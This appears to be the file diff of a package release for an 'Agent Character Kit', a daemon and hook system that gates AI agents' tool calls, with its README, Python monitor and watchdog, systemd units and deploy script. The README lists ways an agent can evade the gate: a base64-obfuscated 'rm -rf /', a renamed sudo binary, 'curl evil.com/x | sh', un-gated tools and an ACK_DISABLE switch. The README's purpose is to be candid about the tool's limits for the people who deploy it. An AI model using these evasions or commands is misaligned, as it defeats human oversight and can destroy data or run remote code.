@drdeeks/character-kit 1.0.1

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 DrDeek
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,178 @@
+# Agent Character Kit (ACK) — v1.0.0
+
+[![Version](https://img.shields.io/badge/version-1.0.0-blue.svg)](VERSION)
+[![Node](https://img.shields.io/badge/node-%3E%3D18-green.svg)](node/package.json)
+[![Python](https://img.shields.io/badge/python-%3E%3D3.9-blue.svg)](python/pyproject.toml)
+[![Enforcer](https://img.shields.io/badge/enforcer-fail--closed-success.svg)](#architecture)
+[![Framework-agnostic](https://img.shields.io/badge/framework-agnostic-9cf.svg)](#architecture)
+[![Tools: Hermes](https://img.shields.io/badge/tools-Hermes-ff69b4.svg)](#companion)
+[![Tools: Claude](https://img.shields.io/badge/tools-Claude-ff69b4.svg)](#companion)
+[![Tools: Cursor](https://img.shields.io/badge/tools-Cursor-ff69b4.svg)](#companion)
+[![Tools: Codex](https://img.shields.io/badge/tools-Codex-ff69b4.svg)](#companion)
+[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
+
+## ⚠️ Read this first — what this is, and what it is NOT
+
+**This is a deterrent and a constant reminder, not a security boundary.**
+
+The gate catches plain destructive commands (`rm -rf /`, `sudo`, `git push
+--force`), blocks pasted secrets, and reminds the agent of its character on
+every block. It makes *doing the right thing* the default and *deviation*
+visible. That is the whole point: a lightweight, persistent nudge — not a cage.
+
+**It is explicitly NOT foolproof.** A determined agent can walk around it:
+
+- **Obfuscation** — `bash -c "$(echo cm9tIC1yZiAv | base64 -d)"` decodes `rm -rf /`
+  at shell runtime, *after* the gate inspected the (clean-looking) string.
+- **Renamed binaries** — `cp /usr/bin/sudo /tmp/s` then `/tmp/s` walks a
+  token-based match.
+- **Indirect execution** — `curl evil.com/x | sh` pulls and runs remote code;
+  the gate never sees what executes.
+- **Un-gated sibling tools** — `write_file`, a code-exec tool, or any MCP tool
+  that isn't hooked the same way goes around the terminal gate entirely.
+- **The escape hatch** — `ACK_DISABLE=1` (or removing the plugin from config)
+  disables it by design. And since the plugin runs *inside* the agent's own
+  process, the agent that's being constrained is the one hosting the guard.
+
+We do **not** try to close those gaps. Decoding and deep-inspecting every
+command would turn the gate into a heavy management layer — slow, hostile to
+the constant, cheap tool-call loop an agent lives in. If you ever need a *hard*
+boundary, that is an **OS-level** concern: run the agent non-root with the
+daemon root-owned (so it can't be killed), restrict network egress, use
+seccomp/AppArmor. The gate is the conscience, not the cage.
+
+**Single source of truth: [`AGENTS.md`](AGENTS.md).** This README is the
+overview + the honest framing. `AGENTS.md` has full install/customize/verify.
+
+---
+
+## What it is
+
+A **character-enforcement layer** for AI agents. Every tool call is judged by a
+**separate enforcer** running *outside* the agent's process. It **fails
+closed**: can't verify → block.
+
+**Character ≠ identity.** This kit governs an agent's *character* — its inner
+compass, its non-negotiable standards (a constitution + habits + policy). That
+is NOT its *identity* (its self: soul.md, system prompt, agent.json). The kit
+never touches who the agent is; it holds the agent to the bar it should meet
+when no one is watching. (Repo name is a legacy label — read it as
+"agent *character* kit.")
+
+## Architecture
+
+- **CORE — the enforcer daemon** (`node/enforcer/agent_enforcer_daemon.js`): the
+  *only* enforcement engine. Plain Node, runs on every OS. Embeds a default
+  character so it works with **zero config files**; config on disk overrides
+  (merges), never required. Transport auto-selects: Unix socket on POSIX, TCP on
+  Windows / cross-host.
+- **COMPANION — thin clients** (hold no policy, ask the daemon, fail-closed):
+  - **Hermes plugin** (`python/hermes_plugin/`) — one example companion, for
+    agents that load Python plugins (`pre_tool_call` → daemon → allow/deny).
+  - **Generic `aik hook`** (`node/bin/aik.js hook --framework <name>`) — for
+    Claude / Cursor / Gemini / OpenCode / generic.
+  - Both are interchangeable thin clients. No harness is "the" way — pick the
+    companion that matches your agent's hook mechanism.
+
+## Quick start (harness-agnostic)
+
+```bash
+git clone https://github.com/drdeeks/agent-character-kit.git
+cd agent-character-kit && cd node && npm install && cd ..
+
+# Interactive installer — wires daemon + companion + monitor + watchdog in one
+# flow, prompts for workspace/socket/harness, and can create habits. Or:
+node node/bin/install.js            # interactive
+node node/bin/install.js --yes      # non-interactive, all components on
+
+# (Optional) root-owned, system-wide, self-respawning:
+#   sudo bash deploy/deploy-agent-enforcer.sh
+#   sudo bash deploy/deploy-ack-services.sh
+node node/bin/aik.js enforcer --status   # version + character hash
+```
+
+The daemon is now enforcing. Wire a COMPANION (any harness) below — the
+installer already dropped the Hermes plugin (or printed the `aik hook` command
+for your harness) into place.
+
+---
+
+## Install a companion
+
+### A. Hermes (Python-plugin companion)
+
+```bash
+# 1) install the Python package into THE venv your agent runs from.
+#    Hermes does NOT use system python — plain `pip install -e .` will NOT reach it.
+#    Use uv (or the venv's own pip) pointed at the venv:
+uv pip install --python "$(command -v hermes >/dev/null && dirname "$(dirname "$(readlink -f "$(which hermes)")")")/venv/bin/python" \
+  -e ./python
+#    (adjust the --python path to wherever your Hermes venv lives;
+#     e.g. ~/.hermes/hermes-agent/venv/bin/python)
+
+# 2) drop the plugin in and enable it
+mkdir -p ~/.hermes/plugins/agent-character-kit
+cp -r python/hermes_plugin/* ~/.hermes/plugins/agent-character-kit/
+hermes plugins enable agent-character-kit   # grant tool-override (y) when asked
+
+# 3) RESTART the Hermes process that runs your session (CLI or gateway).
+#    A running session will NOT pick up the new file. This restart is mandatory.
+```
+
+> **The venv gotcha (this is the #1 setup failure).** If the package isn't
+> importable *in the venv the agent runs from*, the plugin can't reach the
+> daemon and **fails closed on EVERYTHING** — even `ls` gets blocked with
+> "enforcer unavailable." That looks like "the gate is broken" but it means the
+> package simply isn't installed where Hermes looks. Install it into the venv
+> (step 1 above) and restart.
+
+### B. Claude / Cursor / Gemini / OpenCode (generic `aik hook`)
+
+```bash
+node node/bin/aik.js hook --framework claude --config   # prints the hook JSON
+# add it to the framework's hooks; it calls the daemon per tool call
+# swap `claude` for cursor | gemini | opencode | generic as needed
+```
+
+---
+
+## ✅ Sanity check — is it actually enforcing? (run this after install)
+
+Don't trust "it's enabled." Verify. These four checks cover the failure modes
+we've actually seen in the field:
+
+| # | Check | Command | Expected | If wrong → means |
+|---|-------|---------|----------|------------------|
+| 1 | Daemon up | `systemctl is-active agent-enforcer` (or `node node/bin/aik.js enforcer --status`) | `active` / version+hash | Daemon not running → gate fails closed on everything |
+| 2 | Package in venv | `uv pip show agent-character-kit` (or `<venv>/bin/python -c "import agent_character_kit"`) | shows the package | Missing → fails closed on ALL calls (the venv gotcha) |
+| 3 | Allow path | run `ls` through the agent | executes | If blocked as "unavailable" → daemon unreachable OR package missing (1/2) |
+| 4 | Block path | run `sudo ls` (or `rm -rf /`) through the agent | **blocked** with a reason | If it *executes* → plugin not loaded / stale / not restarted |
+
+**Reading the results:**
+- `ls` runs **and** `sudo` is blocked → ✅ enforcing. You're done.
+- *Everything* blocked with "enforcer unavailable" → the plugin can't talk to
+  the daemon. Almost always #1 (daemon down) or #2 (package not in the venv).
+  Fix those, restart, re-check.
+- `sudo` *executes* (not blocked) → the plugin isn't active in this session.
+  Either it wasn't enabled, the file is stale/corrupted, or the session wasn't
+  restarted after install. Re-copy the plugin, re-enable, restart, re-check.
+
+**Stale-plugin trap:** if you edit the plugin source and copy it over, the
+running session still uses the old in-memory version until you restart the
+agent process. A "fix" that doesn't take effect after a restart means the
+running process didn't reload — restart harder (kill the session PID, relaunch).
+
+---
+
+## Why "fails closed"
+
+If the daemon socket is unreachable, the companion blocks the call. A guard
+that fails open is no guard. The only true failure mode is the daemon being
+down — and the daemon is supervised (systemd / launchd / `supervise.py`) and
+self-heals, so that window is seconds.
+
+## Everything else
+
+Customization, macOS/Windows install, the embedded default character, file map,
+and version tracking all live in **[`AGENTS.md`](AGENTS.md)**. README is the
+overview + the honest framing; `AGENTS.md` is the source of truth.

package/deploy/ack_monitor.py

@@ -0,0 +1,140 @@
+#!/usr/bin/env python3
+"""ACK acknowledgment monitor (root-owned, separate process).
+
+Watches the external ack log that the companion writes. For each entry it
+validates the `Habit: <name> <resonates true | why: | because | …> <reason>`
+statement and credits it to the DAEMON's hold ledger via the submit_ack RPC.
+
+Why a separate root-owned process: the hold decision lives in the daemon, but
+the daemon only learns about acknowledgments because something feeds it. That
+"something" must not be killable by the agent user. Running as root, separate
+from the agent, the monitor is exactly that independent verifier. The agent
+cannot disable it without privilege escalation.
+
+Self-healing: a companion watchdog (ack_watchdog.py) revives this process if
+it dies.
+"""
+
+import json
+import os
+import socket
+import time
+import logging
+from pathlib import Path
+
+def _default_sock():
+    # First priority: explicit ENFORCER_SOCKET (set by systemd)
+    sock = os.environ.get("ENFORCER_SOCKET")
+    if sock:
+        return sock
+    # Second: AGENT_WORKSPACE-based
+    ws = os.environ.get("AGENT_WORKSPACE")
+    if ws:
+        return os.path.join(ws, ".agent", "enforcer.sock")
+    # Fallback: legacy path
+    return os.path.join(os.environ.get("HOME", "/root"), ".agent-character-kit",
+                         "workspace", ".agent", "enforcer.sock")
+
+SOCK = _default_sock()
+ACK_LOG = os.environ.get("ACK_ACK_LOG", "/tmp/agent-character-kit-ack.jsonl")
+PIDFILE = os.environ.get("ACK_MONITOR_PID", "/var/lib/agent-character-kit/ack-monitor.pid")
+STATE = os.environ.get("ACK_MONITOR_STATE", "/var/lib/agent-character-kit/ack-monitor.pos")
+
+logging.basicConfig(level=logging.INFO, format="%(asctime)s [ack-monitor] %(message)s")
+log = logging.getLogger("ack-monitor")
+
+
+def _rpc(method: str, params: dict):
+    """Call a daemon RPC over the unix socket. Returns dict or None on failure."""
+    try:
+        s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+        s.settimeout(5)
+        s.connect(SOCK)
+        s.sendall((json.dumps({"method": method, "params": params}) + "\n").encode())
+        data = b""
+        while b"\n" not in data:
+            chunk = s.recv(4096)
+            if not chunk:
+                break
+            data += chunk
+        s.close()
+        return json.loads(data.decode().strip())
+    except Exception as exc:  # daemon down / socket gone -> fail loud, don't credit
+        log.error("daemon rpc %s failed: %s", method, exc)
+        return None
+
+
+def _read_pos():
+    try:
+        p = Path(STATE)
+        if p.exists():
+            ino, off = p.read_text().split()
+            return int(ino), int(off)
+    except Exception:
+        pass
+    return None, 0
+
+
+def _write_pos(ino: int, off: int):
+    try:
+        Path(STATE).write_text(f"{ino} {off}")
+    except Exception:
+        pass
+
+
+def _tail() -> None:
+    """Process new lines appended to the ack log since last run."""
+    path = Path(ACK_LOG)
+    last_ino, off = _read_pos()
+    if not path.exists():
+        return
+    try:
+        st = path.stat()
+    except Exception:
+        return
+    # Log rotated (inode changed) -> re-read from start.
+    if last_ino != st.st_ino:
+        off = 0
+    try:
+        with path.open("r") as fh:
+            fh.seek(off)
+            for line in fh:
+                line = line.strip()
+                if not line:
+                    continue
+                try:
+                    entry = json.loads(line)
+                except Exception:
+                    continue
+                statement = entry.get("statement")
+                session = entry.get("session_id", "default")
+                if not statement:
+                    continue
+                res = _rpc("submit_ack", {"session_id": session, "statement": statement})
+                if res and res.get("ok"):
+                    log.info("credited ack for %s (acked=%s)", session, res.get("acked"))
+                else:
+                    log.warning("ack rejected for %s: %s", session, (res or {}).get("error"))
+            off = fh.tell()
+    except Exception as exc:
+        log.error("tail error: %s", exc)
+        return
+    _write_pos(st.st_ino, off)
+
+
+def main() -> None:
+    try:
+        Path(PIDFILE).write_text(str(os.getpid()))
+    except Exception as exc:
+        log.warning("could not write pidfile %s: %s", PIDFILE, exc)
+    log.info("ack monitor started (sock=%s log=%s)", SOCK, ACK_LOG)
+    while True:
+        try:
+            _tail()
+        except Exception as exc:
+            log.error("unexpected: %s", exc)
+        time.sleep(1)
+
+
+if __name__ == "__main__":
+    main()

package/deploy/ack_watchdog.py

@@ -0,0 +1,110 @@
+#!/usr/bin/env python3
+"""ACK monitor watchdog (root-owned, separate process).
+
+Revives the acknowledgment monitor (ack_monitor.py) if it dies. This is the
+self-healing layer: the monitor itself must not be a single point of failure,
+so a second root-owned process watches it and restarts it.
+
+Revival order: prefer `systemctl restart agent-character-monitor.service`
+(idempotent, re-reads the unit). Fall back to a direct launch if systemctl is
+unavailable (e.g. container without systemd).
+"""
+
+import os
+import time
+import logging
+import subprocess
+from pathlib import Path
+
+_HOME = os.environ.get("HOME", "/root")
+_ACK_HOME = os.path.join(_HOME, ".agent-character-kit")
+
+PIDFILE = os.environ.get("ACK_MONITOR_PID", "/var/lib/agent-character-kit/ack-monitor.pid")
+WATCHDOG_PID = os.environ.get("ACK_WATCHDOG_PID", "/var/lib/agent-character-kit/ack-watchdog.pid")
+MONITOR_BIN = os.environ.get("ACK_MONITOR_BIN", "/usr/local/lib/agent-character-kit/ack_monitor.py")
+MONITOR_UNIT = "agent-character-monitor.service"
+ENFORCER_UNIT = "agent-enforcer.service"
+INTERVAL = int(os.environ.get("ACK_WATCHDOG_INTERVAL", "5"))
+
+logging.basicConfig(level=logging.INFO, format="%(asctime)s [ack-watchdog] %(message)s")
+log = logging.getLogger("ack-watchdog")
+
+
+def process_alive(pattern: str, unit_name: str = None, pidfile: str | None = None) -> bool:
+    """Check if a process matching pattern is alive. Try pgrep first, fall back to pidfile."""
+    try:
+        out = subprocess.run(
+            ["pgrep", "-af", pattern],
+            capture_output=True, text=True, timeout=5,
+        )
+        for line in out.stdout.splitlines():
+            if pattern in line and "grep" not in line:
+                return True
+        return False
+    except Exception:
+        pass
+    # Fallback: pidfile + kill(0)
+    if pidfile:
+        p = Path(pidfile)
+        if p.exists():
+            try:
+                pid = int(p.read_text().strip())
+                os.kill(pid, 0)
+                return True
+            except Exception:
+                pass
+    return False
+
+
+def monitor_alive() -> bool:
+    return process_alive("ack_monitor.py", MONITOR_UNIT, PIDFILE)
+
+
+def enforcer_alive() -> bool:
+    return process_alive("agent_enforcer_daemon.js", ENFORCER_UNIT, None)
+
+
+def revive_monitor() -> None:
+    log.warning("monitor not alive -> restarting")
+    try:
+        subprocess.run(["systemctl", "restart", MONITOR_UNIT], check=False)
+        return
+    except Exception as exc:
+        log.error("systemctl restart monitor failed: %s", exc)
+    try:
+        subprocess.Popen(
+            ["/usr/bin/python3", MONITOR_BIN],
+            env=dict(os.environ),
+            stdout=subprocess.DEVNULL,
+            stderr=subprocess.DEVNULL,
+        )
+    except Exception as exc:
+        log.error("direct monitor launch failed: %s", exc)
+
+
+def revive_enforcer() -> None:
+    log.warning("enforcer not alive -> restarting")
+    try:
+        subprocess.run(["systemctl", "restart", ENFORCER_UNIT], check=False)
+        return
+    except Exception as exc:
+        log.error("systemctl restart enforcer failed: %s", exc)
+    # No direct fallback for enforcer (it's a Node process managed by systemd)
+
+
+def main() -> None:
+    try:
+        Path(WATCHDOG_PID).write_text(str(os.getpid()))
+    except Exception as exc:
+        log.warning("could not write pidfile %s: %s", WATCHDOG_PID, exc)
+    log.info("watchdog started (interval=%ss) — monitoring monitor + enforcer", INTERVAL)
+    while True:
+        if not monitor_alive():
+            revive_monitor()
+        if not enforcer_alive():
+            revive_enforcer()
+        time.sleep(INTERVAL)
+
+
+if __name__ == "__main__":
+    main()

package/deploy/agent-character-monitor.service

@@ -0,0 +1,21 @@
+[Unit]
+Description=ACK Acknowledgment Monitor (root-owned)
+After=agent-enforcer.service
+Requires=agent-enforcer.service
+
+[Service]
+Type=simple
+ExecStart=/usr/bin/python3 /usr/local/lib/agent-character-kit/ack_monitor.py
+Restart=always
+RestartSec=3
+User=root
+StandardOutput=journal
+StandardError=journal
+Environment=ENFORCER_SOCKET=/run/agent-enforcer/main.sock
+Environment=AGENT_WORKSPACE=/var/lib/agent-character-kit/workspace
+Environment=ACK_ACK_LOG=/tmp/agent-character-kit-ack.jsonl
+Environment=ACK_MONITOR_PID=/var/lib/agent-character-kit/ack-monitor.pid
+Environment=ACK_MONITOR_STATE=/var/lib/agent-character-kit/ack-monitor.pos
+
+[Install]
+WantedBy=multi-user.target

package/deploy/agent-character-watchdog.service

@@ -0,0 +1,21 @@
+[Unit]
+Description=ACK Monitor Watchdog (root-owned)
+After=agent-character-monitor.service agent-enforcer.service
+Requires=agent-character-monitor.service agent-enforcer.service
+
+[Service]
+Type=simple
+ExecStart=/usr/bin/python3 /usr/local/lib/agent-character-kit/ack_watchdog.py
+Restart=always
+RestartSec=3
+User=root
+StandardOutput=journal
+StandardError=journal
+Environment=ENFORCER_SOCKET=/run/agent-enforcer/main.sock
+Environment=AGENT_WORKSPACE=/var/lib/agent-character-kit/workspace
+Environment=ACK_MONITOR_PID=/var/lib/agent-character-kit/ack-monitor.pid
+Environment=ACK_WATCHDOG_PID=/var/lib/agent-character-kit/ack-watchdog.pid
+Environment=ACK_MONITOR_BIN=/usr/local/lib/agent-character-kit/ack_monitor.py
+
+[Install]
+WantedBy=multi-user.target

package/deploy/agent-enforcer-proof.service

@@ -0,0 +1,18 @@
+[Unit]
+Description=AIK Enforcer self-respawn PROOF (user-systemd)
+After=network.target
+StartLimitIntervalSec=60
+StartLimitBurst=10
+
+# NOTE: set ACK_DAEMON_BIN to the absolute path of the daemon binary before
+# starting this unit (e.g. ACK_DAEMON_BIN=$PWD/node/enforcer/agent_enforcer_daemon.js).
+# No hardcoded path is embedded — the unit is portable across hosts.
+
+[Service]
+Type=simple
+ExecStart=/usr/bin/env ENFORCER_SOCKET=%t/agent-enforcer/main.sock AGENT_WORKSPACE=%t/agent-enforcer/ws /usr/bin/node ${ACK_DAEMON_BIN}
+Restart=always
+RestartSec=3
+
+[Install]
+WantedBy=default.target

package/deploy/agent-enforcer.service

@@ -0,0 +1,53 @@
+[Unit]
+Description=Agent Character Kit Enforcer Daemon (root-owned)
+Documentation=file:///usr/local/lib/agent-character-kit/README.md
+
+# System-owned enforcement. Runs as root so the agent user cannot kill,
+# modify, or replace it. Self-respawning via RestartSec=3.
+After=network.target local-fs.target
+
+# Crash-loop guard: if it dies 10x in 60s, stop rather than spin.
+StartLimitIntervalSec=60
+StartLimitBurst=10
+
+[Service]
+Type=simple
+# Owning user is the SYSTEM, not the agent. The agent (e.g. uid 1000) cannot
+# `kill` this process or write to its binary/config without privilege escalation.
+User=root
+Group=root
+
+# The daemon binary. Immutable at runtime (root-owned, mode 0755, agent read-only).
+ExecStart=/usr/local/bin/agent-enforcer-daemon
+
+# ── Self-healing ───────────────────────────────────────────────────────────────
+# If the process exits for ANY reason (crash, OOM, killed), systemd restarts it
+# within 3 seconds. This is the "self-respawning if closed within ~3-5 sec" guarantee.
+Restart=always
+RestartSec=3
+
+# Hardened: the enforcer does not need broad privileges beyond what it uses.
+NoNewPrivileges=true
+ProtectSystem=strict
+# /run/agent-enforcer holds the socket (root-owned). /var/lib holds workspace + logs.
+ReadWritePaths=/run/agent-enforcer /var/lib/agent-character-kit /var/log/agent-character-kit
+PrivateTmp=true
+
+# ── Configuration (overridable via `systemctl edit` or env at deploy time) ────────
+# Defaults are sensible fallbacks; override with ACK_INSTALL_* env vars when running deploy.
+Environment=ENFORCER_SOCKET=/run/agent-enforcer/main.sock
+Environment=AGENT_WORKSPACE=/var/lib/agent-character-kit/workspace
+Environment=HOME=/root
+Environment=NODE_ENV=production
+
+WorkingDirectory=/usr/local/lib/agent-character-kit
+StandardOutput=journal
+StandardError=journal
+SyslogIdentifier=agent-enforcer
+
+# A clean shutdown is handled (SIGTERM). Killing it just triggers RestartSec.
+KillSignal=SIGTERM
+TimeoutStopSec=10
+
+[Install]
+WantedBy=multi-user.target

package/deploy/deploy-ack-services.sh

@@ -0,0 +1,47 @@
+#!/usr/bin/env bash
+#
+# deploy-ack-services.sh — install the ACK acknowledgment monitor + watchdog
+# as root-owned systemd services (self-healing hold pipeline).
+#
+# Run AS ROOT after the enforcer daemon is already deployed:
+#   sudo bash deploy/deploy-ack-services.sh
+#
+# Prereqs:
+#   - agent-enforcer.service is live (deploy-agent-enforcer.sh already run).
+#   - The daemon has the toolTick/submitAck RPCs (repo node/ is current).
+#
+# What it does:
+#   1. Copies ack_monitor.py + ack_watchdog.py to /usr/local/lib/agent-character-kit (root-owned).
+#   2. Installs the two systemd units.
+#   3. Enables + starts both (Restart=always -> self-healing).
+#
+# Shared state:
+#   - ack log: /tmp/agent-character-kit-ack.jsonl  (agent writes, monitor reads+validates)
+#   - socket:  /run/agent-enforcer/main.sock        (root-owned daemon)
+set -euo pipefail
+
+SRC_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+INSTALL_LIB="/usr/local/lib/agent-character-kit"
+MON_BIN="$INSTALL_LIB/ack_monitor.py"
+WATCH_BIN="$INSTALL_LIB/ack_watchdog.py"
+
+[ "$(id -u)" -eq 0 ] || { echo "ERROR: run as root (sudo bash $0)"; exit 1; }
+
+echo ">> Installing ACK monitor + watchdog (root-owned, self-healing)..."
+
+install -d -o root -g root -m 0755 "$INSTALL_LIB"
+install -o root -g root -m 0644 "$SRC_DIR/deploy/ack_monitor.py" "$MON_BIN"
+install -o root -g root -m 0644 "$SRC_DIR/deploy/ack_watchdog.py" "$WATCH_BIN"
+install -o root -g root -m 0644 "$SRC_DIR/deploy/agent-character-monitor.service" /etc/systemd/system/agent-character-monitor.service
+install -o root -g root -m 0644 "$SRC_DIR/deploy/agent-character-watchdog.service" /etc/systemd/system/agent-character-watchdog.service
+
+systemctl daemon-reload
+systemctl enable --now agent-character-monitor.service
+systemctl enable --now agent-character-watchdog.service
+
+echo ">> Done. Status:"
+systemctl status agent-character-monitor.service --no-pager || true
+systemctl status agent-character-watchdog.service --no-pager || true
+echo
+echo "Verify self-heal:  sudo systemctl kill -s KILL agent-character-monitor.service"
+echo "                     -> agent-character-watchdog should restart it within ~5s"